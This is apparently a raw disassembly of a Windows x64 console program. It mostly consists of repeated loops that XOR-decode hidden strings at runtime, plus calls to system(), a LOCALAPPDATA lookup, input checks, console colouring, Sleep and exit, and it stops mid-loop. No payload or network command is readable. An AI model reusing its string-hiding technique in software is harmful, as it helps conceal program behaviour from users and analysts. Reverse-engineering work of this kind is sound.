movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140008c22
cmp eax, 0x1d
jge 0x140008d80
movsxd r8, ebx
add r8, r10
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x140008d52
mov rcx, r10
call r11
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004b10
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x1c0]
call fcn.14000bcd0
mov r8, rax
cmp byte [rax + 0x15], 0
je 0x140008f4e
mov ecx, ebx
cmp r13d, 2
jl 0x140008f0e
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rdx, rax
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140008de6
cmp ecx, 0x16
jge 0x140008f4e
movsxd r9, ecx
add r9, r8
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x16
jl 0x140008f20
mov rdx, r8
mov rcx, r10
call fcn.14000df10
lea rdx, [rsp + 0x1c0]
call fcn.14000bd00
mov r8, rax
cmp byte [rax + 0x14], 0
je 0x1400090fe
cmp r13d, 2
jl 0x1400090c1
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x140008f97
cmp eax, 0x15
jge 0x1400090fe
movsxd r9, ebx
add r9, r8
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r9], al
inc ebx
lea r9, [r9 + 1]
cmp ebx, 0x15
jl 0x1400090d0
mov rdx, r8
lea rcx, [rsp + 0xe0]
call fcn.14000d1b0
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140025900
mov edx, r12d
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, r12d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rsp + 0x1a8], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rsp + 0x260]
cmp rdx, 0x10
jb 0x14000b7c6
inc rdx
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b7c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.pQLXVRIWK___15G]
movups xmmword [rsp + 0x1a0], xmm0
mov eax, dword [0x14008db28]
mov dword [rsp + 0x1b0], eax
cmp byte [0x14008db2b], 0
je 0x140009383
mov r8d, ebx
cmp r13d, 2
jl 0x14000933d
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009210
cmp r8d, 0x14
jge 0x140009383
movsxd rax, r8d
lea r9, [rsp + 0x1a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140009350
xorps xmm0, xmm0
movups xmmword [rsp + 0x248], xmm0
mov qword [rsp + 0x258], rbx
mov qword [rsp + 0x260], rbx
lea rax, [rsp + 0x1a0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400093b0
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x248]
call fcn.14000ecf0
nop
mov qword [rsp + 0x180], rbx
lea r8, str.LOCALAPPDATA
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x180]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000b77f
mov rdx, qword [rsp + 0x180]
test rdx, rdx
je 0x14000b77f
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140009430
lea rcx, [rsp + 0x290]
call fcn.14000ecf0
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rsp + 0x2a0]
sub rax, rcx
cmp rax, 1
jb 0x14000bbe0
lea r9, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0x10
cmovae r9, qword [rsp + 0x290]
mov qword [rsp + 0x30], 1
lea rax, [0x14008d918]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0xe0]
call fcn.14000fcc0
nop
lea rdx, [rsp + 0x248]
cmp qword [rsp + 0x260], 0x10
cmovae rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x258]
lea rcx, [rsp + 0xe0]
call fcn.14000d720
xorps xmm0, xmm0
movups xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x210], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x140009562
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000955d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000955d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xf0], rbx
mov qword [rsp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rsp + 0xe0], 0
lea rax, [rsp + 0x200]
cmp qword [rsp + 0x218], 0x10
cmovae rax, qword [rsp + 0x200]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x1a8], rax
call fcn.14007a654
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x1a0], xmm0
lea r8, [rsp + 0x1a0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
call fcn.140003f80
movzx r14d, al
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x14000963a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009635
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009635
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test r14b, r14b
je 0x14000a081
movsd xmm0, qword [0x14008d9e8]
movsd qword [rsp + 0x48], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x50], al
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x14008dac0]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x14008dad0]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x14008dae0]
movsd qword [rsp + 0xd0], xmm0
movzx eax, byte [0x14008dae8]
mov byte [rsp + 0xd8], al
mov ecx, ebx
cmp r13d, 2
jl 0x140009868
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0xb0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140009740
cmp ecx, 0x29
jge 0x1400098ae
movsxd rax, ecx
lea r8, [rsp + 0xb0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x29
jl 0x140009880
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1e0], 0
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008dab0]
movsd qword [rsp + 0x58], xmm0
movzx eax, word [0x14008dab8]
mov word [rsp + 0x60], ax
cmp byte [0x14008dab9], 0
je 0x140009950
mov byte [rsp + 0x58], 0xa
xor byte [rsp + 0x59], 0x35
xor byte [rsp + 0x5a], 0x36
xor byte [rsp + 0x5b], 0x37
xor byte [rsp + 0x5c], 0x38
xor byte [rsp + 0x5d], 0x39
xor byte [rsp + 0x5e], 0x3a
xor byte [rsp + 0x5f], 0x3b
xor byte [rsp + 0x60], 0x3c
xor byte [rsp + 0x61], 0x3d
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.w_YXK_]
movups xmmword [rsp + 0x2c0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140009b23
cmp r13d, 2
jl 0x140009ae5
mov edx, ebx
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x2c0]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400099c0
jmp 0x140009b23
lea r9, [rsp + 0x2c0]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140009af0
lea rdx, [rsp + 0x2c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [rsp + 0x1e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000e390
lea r9, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
setae al
mov byte [rsp + 0x40], al
mov r14, qword [rsp + 0x1e0]
cmovae r9, r14
mov r15, qword [rsp + 0x1f0]
cmp r15, 3
jne 0x140009b9c
mov r8, r15
lea rdx, [0x14008d91c]
mov rcx, r9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140009c23
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 3
jne 0x140009bc8
mov r8, r15
lea rdx, [0x14008d920]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140009c23
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 1
jne 0x140009bf4
mov r8, r15
lea rdx, [0x14008d924]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140009c23
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 1
jne 0x14000a02c
mov r8, r15
lea rdx, [0x14008d928]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000a02c
lea rax, [rsp + 0x200]
cmp qword [rsp + 0x218], 0x10
cmovae rax, qword [rsp + 0x200]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x1a8], rax
call fcn.14007a654
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x1a0], xmm0
lea r8, [rsp + 0x1a0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 8
cmovae rcx, qword [rsp + 0xb0]
call fcn.14007abc4
movzx ecx, al
mov qword [rsp + 0x188], rcx
shr rax, 0x20
mov dword [rsp + 0x270], eax
lea rcx, [0x1400a40b8]
mov qword [rsp + 0x278], rcx
movaps xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x220], xmm0
cmp eax, 0x91
jne 0x140009cfc
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xb0]
call fcn.140004090
cmp dword [rsp + 0x220], 0
jne 0x14000bbe6
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x140009d55
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008d9e8]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x80], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x80], 0xa
xor byte [rsp + 0x81], 0x35
xor byte [rsp + 0x82], 0x36
xor byte [rsp + 0x83], 0x37
xor byte [rsp + 0x84], 0x38
xor byte [rsp + 0x85], 0x39
xor byte [rsp + 0x86], 0x3a
xor byte [rsp + 0x87], 0x3b
xor al, 0x3c
mov byte [rsp + 0x88], al
lea rdx, [rsp + 0x80]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.g_UT_JI_IQRF_]
movups xmmword [rsp + 0x1a0], xmm0
mov eax, dword [0x14008dc60]
mov dword [rsp + 0x1b0], eax
movzx eax, word [0x14008dc64]
mov word [rsp + 0x1b4], ax
movzx eax, byte [0x14008dc66]
mov byte [rsp + 0x1b6], al
mov ecx, ebx
cmp r13d, 2
jl 0x140009f98
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x1a0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140009e70
cmp ecx, 0x17
jge 0x140009fde
movsxd rax, ecx
